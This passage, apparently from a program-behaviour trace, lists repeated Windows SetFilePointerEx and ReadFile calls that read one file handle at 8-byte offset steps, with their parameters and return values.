lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5ee, lpOverlapped=0x0) returned 1 [0069.044] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x170, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.044] GetLastError () returned 0x0 [0069.044] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x178, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.044] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5e6, lpOverlapped=0x0) returned 1 [0069.044] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x178, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.044] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x180, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.044] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5de, lpOverlapped=0x0) returned 1 [0069.044] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x180, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.045] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x188, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.045] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5d6, lpOverlapped=0x0) returned 1 [0069.045] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x188, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.045] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x190, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.045] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5ce, lpOverlapped=0x0) returned 1 [0069.045] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x190, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.045] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x198, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.045] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5c6, lpOverlapped=0x0) returned 1 [0069.045] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x198, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.045] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.045] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5be, lpOverlapped=0x0) returned 1 [0069.045] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.045] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.045] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5b6, lpOverlapped=0x0) returned 1 [0069.046] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.046] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.046] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5ae, lpOverlapped=0x0) returned 1 [0069.046] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.046] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.046] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5a6, lpOverlapped=0x0) returned 1 [0069.046] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.046] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.046] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x59e, lpOverlapped=0x0) returned 1 [0069.046] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.046] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.046] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x596, lpOverlapped=0x0) returned 1 [0069.046] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.046] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.046] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x58e, lpOverlapped=0x0) returned 1 [0069.048] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.048] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.048] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x586, lpOverlapped=0x0) returned 1 [0069.048] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.048] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.048] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x57e, lpOverlapped=0x0) returned 1 [0069.048] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.048] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.048] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x576, lpOverlapped=0x0) returned 1 [0069.048] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.048] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.049] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x56e, lpOverlapped=0x0) returned 1 [0069.049] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.049] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.049] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x566, lpOverlapped=0x0) returned 1 [0069.049] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.049] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x200, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.049] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x55e, lpOverlapped=0x0) returned 1 [0069.049] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x200, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.049] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x208, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.049] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x556, lpOverlapped=0x0) returned 1 [0069.049] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x208, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.049] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x210, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.049] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x54e, lpOverlapped=0x0) returned 1 [0069.049] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x210, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.049] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x218, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.050] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x546, lpOverlapped=0x0) returned 1 [0069.050] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x218, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.050] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x220, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.050] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x53e, lpOverlapped=0x0) returned 1 [0069.050] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x220, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.050] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.050] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x536, lpOverlapped=0x0) returned 1 [0069.050] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.050] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.050] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x52e, lpOverlapped=0x0) returned 1 [0069.050] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.050] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x238, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.050] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x526, lpOverlapped=0x0) returned 1 [0069.050] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x238, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.050] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.051] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x51e, lpOverlapped=0x0) returned 1 [0069.051] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.051] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x248, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.051] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x516, lpOverlapped=0x0) returned 1 [0069.051] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x248, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.051] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x250, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.051] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x50e, lpOverlapped=0x0) returned 1 [0069.051] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x250, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.051] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x258, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.051] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x506, lpOverlapped=0x0) returned 1 [0069.051] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x258, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.051] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x260, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.051] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4fe, lpOverlapped=0x0) returned 1 [0069.051] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x260, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.051] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x268, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.051] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4f6, lpOverlapped=0x0) returned 1 [0069.052] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x268, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.052] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x270, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.052] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4ee, lpOverlapped=0x0) returned 1 [0069.052] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x270, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.052] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x278, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.052] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4e6, lpOverlapped=0x0) returned 1 [0069.052] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x278, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.052] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x280, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.052] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4de, lpOverlapped=0x0) returned 1 [0069.052] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x280, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.052] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x288, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.052] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4d6, lpOverlapped=0x0) returned 1 [0069.052] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x288, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.052] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x290, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.052] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4ce, lpOverlapped=0x0) returned 1 [0069.052] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x290, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.053] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x298, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.053] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4c6, lpOverlapped=0x0) returned 1 [0069.053] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x298, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.053] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.053] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4be, lpOverlapped=0x0) returned 1 [0069.053] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.053] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.053] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4b6, lpOverlapped=0x0) returned 1 [0069.053] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.053] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.053] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4ae, lpOverlapped=0x0) returned 1 [0069.053] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.053] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.053] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4a6, lpOverlapped=0x0) returned 1 [0069.053] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.054] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.054] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x49e, lpOverlapped=0x0) returned 1 [0069.054] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.054] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.054] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x496, lpOverlapped=0x0) returned 1 [0069.054] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.054] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.054] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x48e, lpOverlapped=0x0) returned 1 [0069.054] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.054] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.054] ReadFile (in: hFile=0x190, 